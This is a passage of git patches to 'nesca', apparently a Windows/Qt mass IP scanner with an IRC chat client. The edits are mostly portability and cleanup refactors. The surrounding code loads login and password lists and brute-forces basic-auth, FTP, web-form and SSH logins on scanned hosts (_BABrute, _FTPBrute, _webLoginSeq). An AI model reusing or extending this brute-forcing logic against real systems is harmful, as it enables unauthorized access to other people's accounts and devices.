defined(__WIN32) && !defined(__CYGWIN__) @@ -884,7 +887,7 @@ void *_connect(void* ss) { ++ipCounter; char ip[MAX_ADDR_LEN] = {0}; - strcpy(ip, ((sockstruct*)ss)->argv); + strcpy(ip, ((ST*)ss)->argv); //char hostLog[256] = {0}; //strcpy(hostLog, GetHost(ip)); delete []ss; @@ -1059,7 +1062,6 @@ void _passLoginFapper() stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString(std::to_string(MaxWFPass).c_str()) + " entries)"); - i = 0; while(fgets(buffFG, 32, wfLoginList) != NULL) @@ -1071,26 +1073,18 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString(std::to_string(MaxWFLogin).c_str()) + " entries)"); - - - fclose(wfLoginList); - fclose(wfLoginList); + fclose(wfPassList); + fclose(wfLoginList); } else - { - + { stt->doEmitionRedFoundData("No password/login list found"); - stt->doEmitionKillSttThread(); - + stt->doEmitionKillSttThread(); }; -#pragma region SSHPASS MaxSSHPass = 0; - FILE *sshlpList; - ZeroMemory(buffFG, sizeof(buffFG)); i = 0; @@ -1122,24 +1116,17 @@ void _passLoginFapper() ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString(std::to_string(MaxSSHPass).c_str()) + " entries)"); - fclose(sshlpList); } else - { - + { stt->doEmitionRedFoundData("No password/login list found"); stt->doEmitionKillSttThread(); - }; - - stt->doEmitionYellowFoundData("BA: ~" + QString(std::to_string(MaxLogin * MaxPass/gTimeOut/60).c_str()) + "; WF: ~" + QString(std::to_string(MaxWFLogin * MaxWFPass/gTimeOut/60).c_str()) + "; SSH: ~" + QString(std::to_string(MaxSSHPass/gTimeOut/60).c_str())); - } void ReadUTF8(FILE* nFile, char *cp) @@ -1165,8 +1152,7 @@ void ReadUTF8(FILE* nFile, char *cp) if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0); GlobalNegatives = new char*[GlobalNegativeSize + 2]; - - char buffcpy[256] = {0}; + while(fgets(buffFG, sizeof(buffFG), nFile) != NULL) { if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 || @@ -1303,9 +1289,7 @@ std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) } void _NegativeFapper() { - FILE *nFile = fopen("negatives.txt", "rb"); - char buffFG[256] = {0}; - unsigned char buffcpy[256] = {0}; + FILE *nFile = fopen("negatives.txt", "rb"); if( nFile != NULL) { @@ -1648,9 +1632,7 @@ int fInit(int InitMode, char *gR) void FileLoader(char *str) { - char res[256] = {0}; - char curIP[256] = {0}, curIPCopy[256] = {0}; - char tempBuff[4] = {0}; + char curIP[256] = {0}, curIPCopy[256] = {0}; unsigned int importFileSize = 0; FILE *fl = fopen(str, "r"); @@ -1782,11 +1764,7 @@ void FileLoader(char *str) ++flCounter; } else if(strstr(curIP, "/") != NULL) - { - char *str1; - char *str2; - char res[8] = {0}; - + { int mask = 0; char *ptr1 = strstr(curIP, "/"); GetOctets(curIP); @@ -1895,8 +1873,7 @@ char *GetCIDRRangeStr(char *str) { char result[128] = {0}; char start[32] = {0}; - char end[32] = {0}; - char buff[16] = {0}; + char end[32] = {0}; int mask = 0; char *ptr1 = strstr(str, "/"); @@ -2188,8 +2165,6 @@ return 0; char charAll[38] = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '_', '-'}; - -sockstruct *st = NULL; char iip[256] = {0}; int _getPos(char l) { @@ -2269,7 +2244,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) #pragma region DNS-SCAN if(globalScanFlag == false) return 0; strcpy(endIP2, saveMask); - st = new sockstruct(); + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(iip, sizeof(iip)); while(cons >= gThreads) Sleep(300); @@ -2323,8 +2298,8 @@ int startScan(char* args) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) CreateDirectory(L"./result_files", NULL); #else - struct stat st = {0}; - if (stat("./result_files", &st) == -1) { + struct stat str = {0}; + if (stat("./result_files", &str) == -1) { mkdir("./result_files", 0700); } #endif @@ -2379,26 +2354,32 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - - switch (gShuffle) { + + switch (gShuffle) { case true: { std::vector<std::string> ipVec; struct in_addr tAddr; for (unsigned long i = ip1; i <= ip2; ++i) { if (globalScanFlag == false) break; - int offset = ip2 - i; + unsigned long offset = ip2 - i; tAddr.s_addr = i; - ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); +#else + tAddr.s_addr = ntohl(tAddr.s_addr); + const char *ipStr = inet_ntoa(tAddr); + ipVec.push_back((char*)ipStr); +#endif if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); while (ipVec.size() != 0) { if (globalScanFlag == false) goto haters_gonna_hate_IPM; - st = new sockstruct(); + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); while (cons >= gThreads) Sleep(500); @@ -2427,14 +2408,18 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); struct in_addr tAddr; for (unsigned long i = ip1; i <= ip2; ++i) { if (globalScanFlag == false) break; - st = new sockstruct(); + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(res, sizeof(res)); while (cons >= gThreads) Sleep(500); ++indexIP; - tAddr.s_addr = i; - strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); + tAddr.s_addr = i; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); +#else + strcpy(res, inet_ntoa(tAddr)); +#endif strcpy(st->argv, res); strcpy(saveStartIP, res); @@ -2527,8 +2512,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); pthread_t thrs; pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); #endif - char iipFinish[64] = {0}; - strcpy(top_level_domain, gFirstDom); if(trackerOK) @@ -2696,8 +2679,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); #endif - stt->doEmitionChangeStatus("Scanning..."); - sockstruct *st = NULL; + stt->doEmitionChangeStatus("Scanning..."); for (gC = 0; gC < flCounter; ++gC) { strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str()); @@ -2728,16 +2710,20 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); if (globalScanFlag == false) break; int offset = ip2 - i; - tAddr.s_addr = i; - ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); - + tAddr.s_addr = i; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); +#else + ipVec.push_back(inet_ntoa(tAddr)); +#endif if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); while (ipVec.size() != 0) { if (globalScanFlag == false) goto haters_gonna_hate_IM; - st = new sockstruct(); + + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); while (cons >= gThreads) Sleep(500); @@ -2765,14 +2751,18 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); struct in_addr tAddr; for (unsigned long i = ip1; i <= ip2; ++i) { if (globalScanFlag == false) break; - st = new sockstruct(); + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(res, sizeof(res)); while (cons >= gThreads) Sleep(500); ++indexIP; tAddr.s_addr = i; - strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); +#else + strcpy(res, inet_ntoa(tAddr)); +#endif strcpy(st->argv, res); strcpy(saveStartIP, res); @@ -2902,8 +2892,7 @@ void nCleanup(){ passLst = NULL; }; if(GlobalNegatives != NULL) - { - char temp[512] = {0}; + { for(int i = 0; i < GlobalNegativeSize; ++i) { delete []GlobalNegatives[i]; diff --git a/oIRC_Th.cpp b/oIRC_Th.cpp index 286177d..4a0ee84 100644 --- a/oIRC_Th.cpp +++ b/oIRC_Th.cpp @@ -1,5 +1,5 @@ #include "oIRC_Th.h" -#include <QtMultimedia\qsound.h> +#include <QtMultimedia/qsound.h> #include "externData.h" #include "externFunctions.h" @@ -76,10 +76,8 @@ QString GetNickColor(char *sn) QString nickColorStr = hexNick.mid(0, 6); QString nickBGColorStr = hexNick.mid(hexNick.size() - 6, hexNick.size()); - int nickColor = nickColorStr.toUInt(NULL, 16); - int nickBGColor = nickBGColorStr.toUInt(NULL, 16); - int dim = QString::number(nickColor).length(); - int factor = pow((float)10, dim); + int nickColor = nickColorStr.toUInt(NULL, 16); + int dim = QString::number(nickColor).length(); nickColor += (7*origLen + nickColor*6 + 123456 - hln*hln*hln*hln + (int)(str[0].toLatin1())*123); nickColorStr.setNum(nickColor, 16); @@ -93,12 +91,14 @@ QString GetNickColor(char *sn) else nickBGColorStr = "#000000"; return nickColorStr + "; background-color: " + nickBGColorStr + ";"; -}; +} + bool doHL(char *rawData) { if(strstr(rawData, ircNick) != NULL) return true; else return false; -}; +} + void _blinkNLine(QString tempData = "", QString senderNick = "") { if(widgetIsHidden == false && tray->isVisible() == false) @@ -107,29 +107,30 @@ void _blinkNLine(QString tempData = "", QString senderNick = "") if(irc_nmb->isRunning() == false) irc_nmb->start(); ircTh->doEmitUnhidePopup(tempData, senderNick); -#pragma region QTGUI_Area if(printDelimiter) ircTh->doEmitChangeIRCData(false, false, 0, "------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------", ""); - printDelimiter = false; -#pragma endregion + printDelimiter = false; }; -}; +} + int sendS(int lSock, char *msg, int len, int mode) { - int b; - - b = send(lSock, msg, len, mode); - if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); + if(lSock == ENOTSOCK || lSock <= 0 || !connectedToIRC) { + ircTh->doEmitChangeRedIRCData("Not connected."); + return -1; + } + int b = send(lSock, msg, len, mode); + if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); else { Activity += len; -#pragma region QTGUI_Area ircTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit(msg)); -#pragma endregion + }; return b; -}; -int recvS(int lSock, char *recvBuffT, int len, int mode) +} + +int recvS(int lSock, char *recvBuffT, int len) { int b; char recvBuff[MAX_IRC_RECV_LEN] = {0}; @@ -141,14 +142,15 @@ int recvS(int lSock, char *recvBuffT, int len, int mode) Activity += len; strcpy(recvBuffT, recvBuff); -#pragma region QTGUI_Area + ircTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(recvBuff)); -#pragma endregion + ZeroMemory(recvBuff, sizeof(recvBuff)); }; return b; -}; -void UserNickInit(SOCKET sock) +} + +void UserNickInit() { strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); char tempBuffUser[1024] = {0}; @@ -169,7 +171,8 @@ void UserNickInit(SOCKET sock) memset(tempBuffUser, '0', sizeof(tempBuffUser)); memset(tempBuffNick, '0', sizeof(tempBuffNick)); -}; +} + void GetNicks() { char chanTemp[64] = {0}; @@ -177,7 +180,8 @@ void GetNicks() strcat(chanTemp, IRC_CHAN); strcat(chanTemp, "\r\n"); sendS(lSock, chanTemp, strlen(chanTemp), 0); -}; +} + char *GetServerName(char *buff) { char *temp1 = NULL; @@ -191,7 +195,8 @@ char *GetServerName(char *buff) }; return name; -}; +} + int jFlag1 = 0; void __pinger(char *recvBuff) { @@ -293,18 +298,17 @@ void __pinger(char *recvBuff) if(ircPTh->isRunning() == false) ircPTh->start(); memset(tmpa, '\0', sizeof(tmpa)); }; -}; +} void IRCLoop() { nickFlag = 0; offlineFlag = 0; -#pragma region QTGUI_Area - ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "..."); -#pragma endregion - int err, yes = 1; + ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "..."); + + jFlag1 = 0; sockaddr_in addr; addr.sin_family = AF_INET; @@ -363,7 +367,7 @@ void IRCLoop() sendS(lSock, tempSendMsg, strlen(tempSendMsg), 0); - recvS(lSock, temprecvBuff, sizeof(temprecvBuff), 0); + recvS(lSock, temprecvBuff, sizeof(temprecvBuff)); if(strstr(temprecvBuff, "HTTP/1.1 200 OK") || strstr(temprecvBuff, "200 OK") || strstr(temprecvBuff, "OK 200") || strstr(temprecvBuff, "200 Connection") ) @@ -382,7 +386,7 @@ void IRCLoop() sendS(lSock, "\r\n", strlen("\r\n"), 0); }; - UserNickInit(lSock); + UserNickInit(); char recvBuffG[MAX_IRC_RECV_LEN] = {0}; char serverRealName[256] = {0}; @@ -391,14 +395,14 @@ void IRCLoop() char pTemp[32] = {0}; strcpy(pTemp, "PRIV"); strcat(pTemp, "MSG "); - while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN, 0) > 0 && iWantToConnect) + while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN) > 0 && iWantToConnect) { if(strlen(recvBuffG) > 0) { char *recvBuff = recvBuffG; -#pragma region Pinger + __pinger(recvBuff); -#pragma endregion + char comStr[512] = {0}; char delimBf[512] = {0}; strcpy(delimBf, ":"); @@ -433,9 +437,9 @@ void IRCLoop() if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "while we process your") != NULL || strstr(comStr, "Looking up your hostname") != NULL) ) { -#pragma region QTGUI_Area + ircTh->doEmitChangeGreenIRCData("[OK] Connected to irc server: " + ui->ircServerBox->text()+ ":" + ui->serverPortBox->text() + "."); -#pragma endregion + if(nameLocked == false) { nameLocked = true; @@ -443,7 +447,7 @@ void IRCLoop() }; Sleep(500); - UserNickInit(lSock); + UserNickInit(); Sleep(500); char chanTemp[32] = {0}; @@ -456,17 +460,17 @@ void IRCLoop() { if(strstr(comStr, "Registration timed out") != NULL) { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Registration timed out)"); ircTh->terminate(); -#pragma endregion + } else { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Closed link)"); ircTh->terminate(); -#pragma endregion + }; } else if(strstr(comStr, serverRealName) != NULL && strstr(comStr, "flooding") != NULL) @@ -539,25 +543,25 @@ void IRCLoop() } else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 432 ") > 0 || strstr(comStr, "Erroneous Nickname") > 0)) { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[Nope] Erroneous Nickname: Illegal characters."); -#pragma endregion + } else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 433 ") > 0 || strstr(comStr, "Nickname is already") > 0) ) { -#pragma region QTGUI_Area + QTime time = QTime::currentTime(); qsrand((uint)time.msec()); ircTh->doEmitChangeRedIRCData("[Nope] Nickname is already in use."); ircTh->doEmitSetNick("ns_" + QString::number(qrand() % 8999 + 1000 )); -#pragma endregion - UserNickInit(lSock); + + UserNickInit(); } else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 438 ") > 0 || strstr(comStr, "Nick change too") > 0)) { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[Nope] You are changing nicks too fast."); -#pragma endregion + } else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "End of /NAMES list") != NULL || strstr(comStr, "End of /names list") != NULL || strstr(comStr, "end of /NAMES list") != NULL || strstr(comStr, "end of /names list") != NULL) @@ -582,7 +586,7 @@ void IRCLoop() strncpy(leaverNick, temp1, (sz < 16 ? sz : 16)); -#pragma region QTGUI_Area + if(strstr(comStr, "QUIT :Ping timeout") != NULL) { ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel (Ping timeout)."); @@ -593,7 +597,7 @@ void IRCLoop() ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel."); _blinkNLine(QString(leaverNick) + " left channel.", "[Server]"); }; -#pragma endregion + }; }; }; @@ -612,9 +616,9 @@ void IRCLoop() memset(temp + strlen(temp), '\0', 1); QString newNick = QString((char*)(temp + strlen("NICK :"))); -#pragma region QTGUI_Area + ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] is now known as [" + newNick + "]."); -#pragma endregion + _blinkNLine("[" + QString(senderNick) + "] is now known as [" + newNick + "].", "[Server]"); } @@ -629,7 +633,7 @@ void IRCLoop() int nickLen = temp2 - temp; if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); -#pragma region QTGUI_Area + if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) { ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] joined the channel."); @@ -655,7 +659,7 @@ void IRCLoop() connectedToIRC = true; }; }; -#pragma endregion + } else if(iWantToConnect && (strstr(comStr, "PART #") > 0 || strstr(comStr, "Part #") > 0 || strstr(comStr, "part #") > 0)) @@ -668,10 +672,10 @@ void IRCLoop() int nickLen = temp2 - temp; if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); -#pragma region QTGUI_Area + if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] left the channel."); else ircTh->doEmitChangeYellowIRCData("You have left the channel."); -#pragma endregion + }; } else if(strstri(comStr, privTemp) != NULL) @@ -686,9 +690,8 @@ void IRCLoop() char *temp = NULL; char *temp2 = NULL; -#pragma region Pinger __pinger(recvBuff); -#pragma endregion + char senderNick[32] = {0}; if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); @@ -727,14 +730,14 @@ void IRCLoop() _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); ircTh->doEmitionPlayDckingSound(); bool HLFlag = doHL(strf.toLocal8Bit().data()); - int cCode = 0; -#pragma region QTGUI_Area + int cCode = 0; ircTh->doEmitChangeIRCData(false, HLFlag, cCode, strf, " <a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>"); -#pragma endregion + }; }; }; }; + ZeroMemory(senderNick, sizeof(senderNick)); } @@ -782,9 +785,9 @@ void IRCLoop() ircTh->doEmitionPlayDckingSound(); bool HLFlag = doHL(strf.toLocal8Bit().data()); int cCode = 0; -#pragma region QTGUI_Area + ircTh->doEmitChangeIRCData(true, HLFlag, cCode, strf, "<a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>"); -#pragma endregion + }; }; }; @@ -799,9 +802,9 @@ void IRCLoop() if(iWantToConnect == true) { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[-//-] IRC server went offline."); -#pragma endregion + _blinkNLine("IRC server offlined!", "[Server]"); Sleep(5000); connectedToIRC == false; @@ -809,11 +812,11 @@ void IRCLoop() } else { -#pragma region QTGUI_Area + if(proxyEnabledFlag) ircTh->doEmitChangeRedIRCData("[-//-] Cannot connect to proxy. (" + QString::number(WSAGetLastError()) + ")" ); else ircTh->doEmitChangeRedIRCData("[-//-] Connection failed. (" + QString::number(WSAGetLastError()) + ")" ); -#pragma endregion + }; CSSOCKET(lSock); }; @@ -825,4 +828,4 @@ void oIRC_Th::run() { IRCLoop(); ircTh->doEmitIRCOfflined(); -}; \ No newline at end of file +}; From 4132e69fc753df0f6ec1100f59d9c328ea3b1e99 Mon Sep 17 00:00:00 2001 From: cora32 <mrgoto2@bk.ru> Date: Fri, 27 Feb 2015 20:40:12 +0300 Subject: [PATCH 16/66] -- --- .gitignore | 30 ++++++++++++++++++++++++++++++ connector.cpp | 26 +++++++++++++------------- mainResources.h | 31 +++++++++++++++++-------------- nesca.ico | Bin 0 -> 1150 bytes nesca_3.pri | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ nesca_3.pro | 20 ++++++++++++++++++++ nesca_3.qrc | 7 ++++--- nesca_3.ui | 18 ++++++++++-------- oIRC_Th.cpp | 2 +- 9 files changed, 143 insertions(+), 39 deletions(-) create mode 100644 nesca.ico create mode 100644 nesca_3.pri create mode 100644 nesca_3.pro diff --git a/.gitignore b/.gitignore index 1651965..882c851 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,33 @@ *.swo *.swp debugData.txt +*.png +adns_dll.dll +changelog +*.obj +*.res +*.log +*.tlog +*.lastbuildstate +*.pdb +GeneratedFiles/* +imp.txt +imp2.txt +*.dll +logs/* +*.vcxproj.* +*.vcxproj +*.aps +*.svg +Release/* +Debug/* +restore +result_files/* +*.bmp +*.bk + + +tags.txt +version +lisca.cpp +main - копия.cpp diff --git a/connector.cpp b/connector.cpp index e43fbd5..6f3dd91 100644 --- a/connector.cpp +++ b/connector.cpp @@ -672,9 +672,9 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) if(cCode == SOCKET_ERROR) { int errorCode = WSAGetLastError(); - if(errorCode == ENOTSOCK) { + if(errorCode == WSAENOTSOCK) { - while(errorCode == ENOTSOCK) + while(errorCode == WSAENOTSOCK) { if(gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); CSSOCKET(sock); @@ -686,7 +686,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) CSSOCKET(sock); - if(errorCode != ETIMEDOUT) + if(errorCode != WSAETIMEDOUT) { stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); }; @@ -918,7 +918,7 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - while(WSAGetLastError() == ENOTSOCK) + while(WSAGetLastError() == WSAENOTSOCK) { if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]"); CSSOCKET(sockFTP); @@ -1249,13 +1249,13 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps) { int WSAerr; if(connectionResult == -1) WSAerr = WSAGetLastError(); - else WSAerr = ETIMEDOUT; + else WSAerr = WSAETIMEDOUT; if(gThreads > 1 - && WSAerr != ETIMEDOUT/*Timeout*/ - && WSAerr != ENOBUFS/*POOLOVERFLOW*/ - && WSAerr != ECONNREFUSED/*WSAECONNREFUSED*/ - && WSAerr != ECONNRESET/*WSAECONNRESET*/ + && WSAerr != WSAETIMEDOUT/*Timeout*/ + && WSAerr != WSAENOBUFS/*POOLOVERFLOW*/ + && WSAerr != WSAECONNREFUSED/*WSAECONNREFUSED*/ + && WSAerr != WSAECONNRESET/*WSAECONNRESET*/ && WSAerr != 0) { stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str())); @@ -1524,7 +1524,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C if(iResult == SOCKET_ERROR) { iError = WSAGetLastError(); - if(iError == EINPROGRESS) + if (iError == WSAEWOULDBLOCK) { fd_set read_fs; FD_ZERO(&read_fs); @@ -1635,11 +1635,11 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C else { ++offlines; - if(iError == ENOBUFS) + if (iError == WSAENOBUFS) { stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port)); } - else if(iError == EADDRNOTAVAIL) + else if (iError == WSAEADDRNOTAVAIL) { stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) + ":" + QString::number(port) + @@ -2157,7 +2157,7 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); int cErrCode = WSAGetLastError(); - while(cErrCode == ENOTSOCK) + while(cErrCode == WSAENOTSOCK) { CSSOCKET(sock); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); diff --git a/mainResources.h b/mainResources.h index fdcb7f1..a7cce76 100644 --- a/mainResources.h +++ b/mainResources.h @@ -55,26 +55,29 @@ typedef int BOOL; #ifndef SOCKET_ERROR #define SOCKET_ERROR (-1) #endif -#ifndef EINPROGRESS -#define EINPROGRESS WSAEINPROGRESS //10036 +#ifndef WSAEWOULDBLOCK +#define WSAEWOULDBLOCK EWOULDBLOCK //10035 #endif -#ifndef ENOTSOCK -#define ENOTSOCK WSAENOTSOCK //10038 +#ifndef WSAEINPROGRESS +#define WSAEINPROGRESS EINPROGRESS //10036 #endif -#ifndef EADDRNOTAVAIL -#define EADDRNOTAVAIL WSAEADDRNOTAVAIL //10049 +#ifndef WSAENOTSOCK +#define WSAENOTSOCK ENOTSOCK //10038 #endif -#ifndef ECONNRESET -#define ECONNRESET WSAECONNRESET //10054 +#ifndef WSAEADDRNOTAVAIL +#define WSAEADDRNOTAVAIL EADDRNOTAVAIL //10049 #endif -#ifndef ENOBUFS -#define ENOBUFS WSAENOBUFS //10055 +#ifndef WSAECONNRESET +#define WSAECONNRESET ECONNRESET //10054 #endif -#ifndef ETIMEDOUT -#define ETIMEDOUT WSAETIMEDOUT //10060 +#ifndef WSAENOBUFS +#define WSAENOBUFS ENOBUFS //10055 #endif -#ifndef ECONNREFUSED -#define ECONNREFUSED WSAECONNREFUSED //10061 +#ifndef WSAETIMEDOUT +#define WSAETIMEDOUT ETIMEDOUT //10060 +#endif +#ifndef WSAECONNREFUSED +#define WSAECONNREFUSED ECONNREFUSED //10061 #endif #endif diff --git a/nesca.ico b/nesca.ico new file mode 100644 index 0000000000000000000000000000000000000000..0bbfe73ef6fab06e84689c37b84ddd44c3b873fc GIT binary patch literal 1150 zcmb`DF%H5o3`Kth5(7&mBvu$X8pq&7oS{eI7;M2#@{3~}r30>9yWjsgQGrRGd4{~N zxbJ~8fSaU9q7+?9j?)p)97K|Nlmjeew(e<s$whD<dzY1U*w3fi!yTFTW_o*ig~PMS zYV~1f?5$_jp5=eq8GCwIy`F^C<a|{B#p@oP#q+t_R(fph&8@DzWu({0TF=+h3;N}C w&nS3Str@Pb=3ah}<J22PvqKEM?})Y9X6}6fUI$>=0gtJqU1WRC)vJuMAHcA`Z~y=R literal 0 HcmV?d00001 diff --git a/nesca_3.pri b/nesca_3.pri new file mode 100644 index 0000000..ae2c3d0 --- /dev/null +++ b/nesca_3.pri @@ -0,0 +1,48 @@ +# ---------------------------------------------------- +# This file is generated by the Qt Visual Studio Add-in. +# ------------------------------------------------------ + +# This is a reminder that you are using a generated .pro file. +# Remove it when you are finished editing this file. +message("You are running qmake on a generated .pro file. This may not work!") + + +HEADERS += ./base64.h \ + ./resource.h \ + ./nesca_3.h \ + ./ActivityDrawerTh_HorNet.h \ + ./STh.h \ + ./CheckKey_Th.h \ + ./DrawerTh_QoSScanner.h \ + ./CheckProxy_Th.h \ + ./DrawerTh_HorNet.h \ + 